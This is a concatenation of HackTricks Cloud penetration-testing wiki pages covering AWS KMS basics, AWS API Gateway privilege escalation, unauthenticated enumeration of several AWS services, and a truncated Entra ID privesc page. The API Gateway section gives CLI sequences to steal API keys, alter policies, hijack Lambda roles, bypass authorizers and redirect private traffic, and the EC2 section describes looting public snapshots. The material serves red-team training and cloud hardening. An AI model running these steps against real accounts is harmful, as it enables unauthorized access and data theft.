Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more info about Azure Virtual Machines check: [Az - Virtual Machines & Network](../az-services/vms/index.html) A network service that is vulnerable to some RCE. A public image might have secrets inside of it: bash # List all community galleries az sig list-community --output table # Search by publisherUri az sig list-community --output json --query "[?communityMetadata.publisherUri=='https://3nets.io']" This would be more weird but not impossible. A big company might put an extension with sensitive data inside of it: bash # It takes some mins to run az vm extension image list --output table # Get extensions by publisher az vm extension image list --publisher "Site24x7" --output table tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - KMS Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 7 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. AWS Key Management Service (AWS KMS) is presented as a managed service, simplifying the process for users to **create and manage customer master keys** (CMKs). These CMKs are integral in the encryption of user data. A notable feature of AWS KMS is that CMKs are predominantly **secured by hardware security modules** (HSMs), enhancing the protection of the encryption keys. KMS uses **symmetric cryptography**. This is used to **encrypt information as rest** (for example, inside a S3). If you need to **encrypt information in transit** you need to use something like **TLS**. KMS is a **region specific service**. **Administrators at Amazon do not have access to your keys**. They cannot recover your keys and they do not help you with encryption of your keys. AWS simply administers the operating system and the underlying application it's up to us to administer our encryption keys and administer how those keys are used. **Customer Master Keys** (CMK): Can encrypt data up to 4KB in size. They are typically used to create, encrypt, and decrypt the DEKs (Data Encryption Keys). Then the DEKs are used to encrypt the data. A customer master key (CMK) is a logical representation of a master key in AWS KMS. In addition to the master key's identifiers and other metadata, including its creation date, description, and key state, a **CMK contains the key material which used to encrypt and decrypt data**. When you create a CMK, by default, AWS KMS generates the key material for that CMK. However, you can choose to create a CMK without key material and then import your own key material into that CMK. There are 2 types of master keys: * **AWS managed CMKs: Used by other services to encrypt data**. It's used by the service that created it in a region. They are created the first time you implement the encryption in that service. Rotates every 3 years and it's not possible to change it. * **Customer manager CMKs**: Flexibility, rotation, configurable access and key policy. Enable and disable keys. **Envelope Encryption** in the context of Key Management Service (KMS): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**. These defines **who can use and access a key in KMS**. By **default:** * It gives the **IAM of the** **AWS account that owns the KMS key access** to manage the access to the KMS key via IAM. Unlike other AWS resource policies, a AWS **KMS key policy does not automatically give permission any of the principals of the account**. To give permission to account administrators, the **key policy must include an explicit statement** that provides this permission, like this one. * Without allowing the account(`"AWS": "arn:aws:iam::111122223333:root"`) IAM permissions won't work. * It **allows the account to use IAM policies** to allow access to the KMS key, in addition to the key policy. **Without this permission, IAM policies that allow access to the key are ineffective**, although IAM policies that deny access to the key are still effective. * It **reduces the risk of the key becoming unmanageable** by giving access control permission to the account administrators, including the account root user, which cannot be deleted. **Default policy** example: json { "Sid": "Enable IAM policies", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::111122223333:root" }, "Action": "kms:*", "Resource": "*" } warning If the **account is allowed** (`"arn:aws:iam::111122223333:root"`) a **principal** from the account **will still need IAM permissions** to use the KMS key. However, if the **ARN** of a role for example is **specifically allowed** in the **Key Policy**, that role **doesn't need IAM permissions**. Policy Details Properties of a policy: * JSON based document * Resource --> Affected resources (can be "\*") * Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (permissions) * Effect --> Allow/Deny * Principal --> arn affected * Conditions (optional) --> Condition to give the permissions Grants: * Allow to delegate your permissions to another AWS principal within your AWS account. You need to create them using the AWS KMS APIs. It can be indicated the CMK identifier, the grantee principal and the required level of opoeration (Decrypt, Encrypt, GenerateDataKey...) * After the grant is created a GrantToken and a GratID are issued **Access**: * Via **key policy** -- If this exist, this takes **precedent** over the IAM policy * Via **IAM policy** * Via **grants** Key administrator by default: * Have access to manage KMS but not to encrypt or decrypt data * Only IAM users and roles can be added to Key Administrators list (not groups) * If external CMK is used, Key Administrators have the permission to import key material * The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases. * **KMS rotate customer keys every 365 days** (or you can perform the process manually whenever you want) and **keys managed by AWS every 3 years** and this time it cannot be changed. * **Older keys are retained** to decrypt data that was encrypted prior to the rotation * In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**. * If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled. * A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID. * To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to. * You need to **keep old keys to decrypt old files** encrypted with it. You can import keys from your on-premises key infrastructure . KMS is priced per number of encryption/decryption requests received from all services per month. KMS has full audit and compliance **integration with CloudTrail**; this is where you can audit all changes performed on KMS. With KMS policy you can do the following: * Limit who can create data keys and which services have access to use these keys * Limit systems access to encrypt only, decrypt only or both * Define to enable systems to access keys across regions (although it is not recommended as a failure in the region hosting KMS will affect availability of systems in other regions). You cannot synchronize or move/copy keys across regions; you can only define rules to allow access across region. bash aws kms list-keys aws kms list-key-policies --key-id aws kms list-grants --key-id aws kms describe-key --key-id aws kms get-key-policy --key-id --policy-name # Default policy name is "default" aws kms describe-custom-key-stores [AWS - KMS Privesc](../aws-privilege-escalation/aws-kms-privesc.html) [AWS - KMS Post Exploitation](../aws-post-exploitation/aws-kms-post-exploitation.html) [AWS - KMS Persistence](../aws-persistence/aws-kms-persistence.html) * [https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html](https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Apigateway Privesc - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 4 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. For more information check: [AWS - API Gateway Enum](../aws-services/aws-api-gateway-enum.html) With this permission you can generate API keys of the APIs configured (per region). bash aws --region apigateway create-api-key **Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. With this permission you can get generated API keys of the APIs configured (per region). bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value **Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. With these permissions it's possible to modify the resource policy of an API to give yourself access to call it and abuse potential access the API gateway might have (like invoking a vulnerable lambda). bash aws apigateway update-rest-api \ --rest-api-id api-id \ --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' **Potential Impact:** You, usually, won't be able to privesc directly with this technique but you might get access to sensitive info. note Need testing An attacker with the permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, and `iam:PassRole` can **add a new integration to an existing API Gateway REST API with a Lambda function that has an IAM role attached**. The attacker can then **trigger the Lambda function to execute arbitrary code and potentially gain access to the resources associated with the IAM role**. bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" HTTP_METHOD="GET" LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name" LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role" # Add a new integration to the API Gateway REST API aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod **Potential Impact**: Access to resources associated with the Lambda function's IAM role. note Need testing An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks or to execute arbitrary code when API requests are made. bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name" # Update the API Gateway authorizer aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod **Potential Impact**: Bypassing security checks, unauthorized access to API resources. note Need testing An attacker with the permission `apigateway:UpdateVpcLink` can **modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources**. bash bashCopy codeVPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" # Update the VPC Link aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" **Potential Impact**: Unauthorized access to private API resources, interception or disruption of API traffic. tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Security & Detection Services - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 0 minutes --- # AWS - Elasticsearch Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. https://vpc-{user_provided}-[random].[region].es.amazonaws.com https://search-{user_provided}-[random].[region].es.amazonaws.com tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - DocumentDB Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. .cluster-..docdb.amazonaws.com tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - EC2 Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 3 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. Check in this page more information about this: [AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum](../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/index.html) It's possible to expose the **any port of the virtual machines to the internet**. Depending on **what is running** in the exposed the port an attacker could abuse it. [Cloud SSRF - HackTricks](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html) AWS allows to **give access to anyone to download AMIs and Snapshots**. You can list these resources very easily from your own account: bash # Public AMIs aws ec2 describe-images --executable-users all ## Search AMI by ownerID aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `967541184254/`) == `true`]' ## Search AMI by substr ("shared" in the example) aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `shared`) == `true`]' # Public EBS snapshots (hard-drive copies) aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' If you find a snapshot that is restorable by anyone, make sure to check [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) for directions on downloading and looting the snapshot. bash # EC2 ec2-{ip-seperated}.compute-1.amazonaws.com # ELB http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - IoT Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. mqtt://{random_id}.iot.{region}.amazonaws.com:8883 https://{random_id}.iot.{region}.amazonaws.com:8443 https://{random_id}.iot.{region}.amazonaws.com:443 tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # AWS - Kinesis Video Unauthenticated Enum - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 1 minute tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. https://{random_id}.kinesisvideo.{region}.amazonaws.com tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Az - EntraID Privesc - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 11 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. note Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.** ### [](#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2) This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges. * Assign role to a user: bash # List enabled built-in roles az rest --method GET \ --uri 